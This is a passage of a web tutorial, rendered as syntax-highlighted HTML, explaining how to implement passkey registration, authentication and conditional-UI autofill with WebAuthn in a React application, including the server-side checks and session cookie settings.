style="color:#5A6072">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">create</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">publicKey</span><span class="token operator">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>From here, the browser takes over the interaction with the authenticator. Depending on the device and where the user keeps their passkeys, they might be prompted through Touch ID, Face ID, Windows Hello, Android device unlock, a credential manager, or a hardware security key.</p>
<p>Once the user approves, the authenticator creates a new public-private key pair for this credential and keeps the private key to itself. The browser returns a <code>PublicKeyCredential</code> containing the registration response, which holds what the server needs to register the public credential.</p>
<p>React then sends that response back to the server:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/passkeys/register/verify"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string-property property" style="color:#1F4FFF">"Content-Type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"application/json"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">credentials</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"include"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">body</span><span class="token operator">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#0B1633;font-weight:600">JSON</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">stringify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">toJSON</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The server checks the response against the registration ceremony it started. At a minimum, it should confirm that:</p>
<ul>
<li class="">the challenge is the one it issued for this user, hasn't expired, and hasn't been used. It should be deleted as soon as it's checked, whatever the result.</li>
<li class="">the response came from your application's origin and was created for your relying party ID.</li>
<li class="">the user verification flag is set, if your policy requires it, as ours does.</li>
<li class="">the credential ID isn't already registered.</li>
</ul>
<p>If the verification succeeds, it stores the credential ID and public key against the user's account. A WebAuthn library such as SimpleWebAuthn performs most of these checks for you, but your server still has to store the challenge, pass in the expected values and decide on the policy.</p>
<p>At no point does your application receive the user's fingerprint, face data or device PIN. Those stay on the authenticator. Registration is now complete: the server has the public credential, the authenticator has the private key, and the user has a passkey they can sign in with.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-ceremony">Authentication ceremony<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#authentication-ceremony" class="hash-link" aria-label="Direct link to Authentication ceremony" title="Direct link to Authentication ceremony" translate="no">​</a></h3>
<p>When the user comes back later to sign in, the flow looks very similar to registration. This time, instead of creating a new credential, we're asking the user to prove they still have access to a passkey registered earlier.</p>
<p>React starts by asking the server for <strong>authentication options</strong> for this login attempt:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> optionsJSON </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/passkeys/login/options"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">credentials</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"include"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">then</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">json</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>A simplified response might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"challenge"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"base64url-encoded-random-value"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"rpId"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"allowCredentials"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token property" style="color:#1F4FFF">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"public-key"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token property" style="color:#1F4FFF">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"base64url-encoded-credential-id"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"timeout"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">60000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"userVerification"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"required"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The shape is a little different from registration because we're no longer creating a credential:</p>
<ul>
<li class=""><code>challenge</code> is a fresh random value for this login attempt, and <code>rpId</code> identifies the relying party.</li>
<li class=""><code>allowCredentials</code> lists the registered credentials allowed for this request. It can also be left out so the browser discovers a suitable passkey itself.</li>
<li class=""><code>userVerification</code> requests user verification. Asking isn't enough on its own: the server also has to check that the response says it happened. With <code>"preferred"</code>, some logins arrive without it, and your server has to decide whether to accept them.</li>
</ul>
<p>As before, React converts the options and hands them to the browser:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> options </span><span class="token operator">=</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">PublicKeyCredential</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">parseRequestOptionsFromJSON</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> credential </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token dom variable" style="color:#C43300">navigator</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">publicKey</span><span class="token operator">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The browser looks for a passkey that matches the request, and the user might be asked to approve its use with Face ID, Touch ID, Windows Hello, a device PIN, or another mechanism the authenticator supports.</p>
<p>Once approved, the authenticator uses the passkey's <strong>private key</strong> to sign a response for this login attempt. The private key itself never leaves the authenticator.</p>
<p>React sends the response to <code>/api/passkeys/login/verify</code>, the same way it sent the registration response. The server uses the credential ID and public key stored during registration to verify it, and should confirm that:</p>
<ul>
<li class="">the credential ID belongs to a registered passkey, and the signature verifies against that passkey's stored public key.</li>
<li class="">the challenge is the one it issued for this login attempt, hasn't expired, and hasn't been used.</li>
<li class="">the response came from your origin and your relying party ID.</li>
<li class="">the user verification flag is set, if your policy requires it.</li>
</ul>
<p>If those checks succeed, the server creates a session. That step deserves the same care as the ceremony: issue a <strong>new</strong> session ID rather than reusing one from before login, in a cookie marked <code>HttpOnly</code>, <code>Secure</code> and <code>SameSite</code>, so page scripts can't read it, it only travels over HTTPS, and other sites can't easily trigger requests that carry it.</p>
<p>So the authentication ceremony can be reduced to this:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Passkey authentication ceremony</figcaption><ol class="steps_ptmz" aria-label="Passkey authentication ceremony"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Server</span><span class="text_K99R">Creates authentication options</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Passes them to WebAuthn</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Browser</span><span class="text_K99R">Finds a matching passkey</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Authenticator</span><span class="text_K99R">Signs the challenge</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Sends the response to the server</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Server</span><span class="text_K99R">Verifies it using the stored public key</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">User is authenticated</span></div></li></ol></figure>
<p>Compared with registration, the difference is simple. During <strong>registration</strong>, the authenticator creates a key pair and the server stores the public key. During <strong>authentication</strong>, the authenticator proves it still holds the private key, and the server checks that proof with the public key.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="conditional-ui-and-autofill">Conditional UI and autofill<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#conditional-ui-and-autofill" class="hash-link" aria-label="Direct link to Conditional UI and autofill" title="Direct link to Conditional UI and autofill" translate="no">​</a></h3>
<p>So far, we've assumed the user clicks a dedicated <strong>Sign in with passkey</strong> button to start authentication. But what if you could offer passkeys directly through the browser's autofill suggestions, just like saved usernames and passwords?</p>
<p>That's what WebAuthn's <strong>conditional UI</strong> does. Instead of prompting the user straight away, the browser waits until they interact with a login field and offers an available passkey as an autofill suggestion.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="making-passkeys-available-through-autofill">Making passkeys available through autofill<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#making-passkeys-available-through-autofill" class="hash-link" aria-label="Direct link to Making passkeys available through autofill" title="Direct link to Making passkeys available through autofill" translate="no">​</a></h4>
<p>Suppose your React application has an email field:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">input</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">name</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">username webauthn</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">placeholder</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">Email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF"></span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><br></span></code></pre></div></div>
<p>The <code>webauthn</code> value in <code>autoComplete</code> tells the browser that this field can offer passkeys alongside regular autofill suggestions. On its own, though, the attribute isn't enough: React also has to start a WebAuthn request in conditional mode.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="starting-a-conditional-authentication-request">Starting a conditional authentication request<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#starting-a-conditional-authentication-request" class="hash-link" aria-label="Direct link to Starting a conditional authentication request" title="Direct link to Starting a conditional authentication request" translate="no">​</a></h4>
<p>React fetches and parses authentication options exactly as in the authentication ceremony, with one difference on the server side. The user hasn't typed anything yet, so the backend doesn't know who's signing in. It leaves out <code>allowCredentials</code>, and the browser finds a suitable passkey on its own.</p>
<p>That only works for <strong>discoverable credentials</strong>, which is why we set <code>residentKey: "required"</code> during registration. A passkey that isn't discoverable won't appear in autofill at all.</p>
<p>Then React starts the request in conditional mode:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> credential </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token dom variable" style="color:#C43300">navigator</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">publicKey</span><span class="token operator">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">mediation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"conditional"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>With <code>mediation: "conditional"</code>, the request stays pending instead of prompting the user. When they focus the email field, the browser can show something like "Use passkey for <a href="mailto:alex@example.com" target="_blank" rel="noopener noreferrer" class="">alex@example.com</a>" among the autofill suggestions. If they pick it and approve with Face ID, Touch ID or Windows Hello, the request completes.</p>
<p>From there, it's the regular ceremony again: React sends the response to <code>/api/passkeys/login/verify</code>, and the backend runs the same checks and creates a session.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-about-browsers-that-dont-support-conditional-ui">What about browsers that don't support conditional UI?<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#what-about-browsers-that-dont-support-conditional-ui" class="hash-link" aria-label="Direct link to What about browsers that don't support conditional UI?" title="Direct link to What about browsers that don't support conditional UI?" translate="no">​</a></h4>
<p>Conditional UI is an enhancement, not something your entire login experience should depend on. Before using it, check that the browser supports conditional mediation, and that <code>parseRequestOptionsFromJSON</code> exists too. It's newer than WebAuthn itself and missing from some browsers that otherwise support passkeys.</p>
<p>A conditional request can also stay pending for as long as the login page is open, because the user might never pick a passkey, so it needs to be cancellable. In React, the natural place for that is the effect that starts the request:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> useEffect </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">startConditionalPasskeyLogin</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">signal</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token operator">!</span><span class="token dom variable" style="color:#C43300">window</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access maybe-class-name" style="color:#0B1633;font-weight:600">PublicKeyCredential</span><span class="token operator">?.</span><span class="token plain">isConditionalMediationAvailable </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token operator">!</span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">PublicKeyCredential</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">parseRequestOptionsFromJSON</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">PublicKeyCredential</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">isConditionalMediationAvailable</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"> </span><span class="token comment" style="color:#5A6072;font-style:italic">// Leave the regular sign-in options to do the work.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// Fetch the options, call navigator.credentials.get() with</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// mediation: "conditional", and send the result to the verify endpoint,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// passing `signal` to each fetch() and to get().</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">Login</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">useEffect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> controller </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">AbortController</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">startConditionalPasskeyLogin</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">controller</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">signal</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token keyword control-flow" style="color:#1F4FFF">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token comment" style="color:#5A6072;font-style:italic">// AbortError: we cancelled the request. NotAllowedError: the user dismissed it.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">name</span><span class="token plain"> </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"AbortError"</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">name</span><span class="token plain"> </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"NotAllowedError"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token console class-name" style="color:#0B1633;font-weight:600">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span 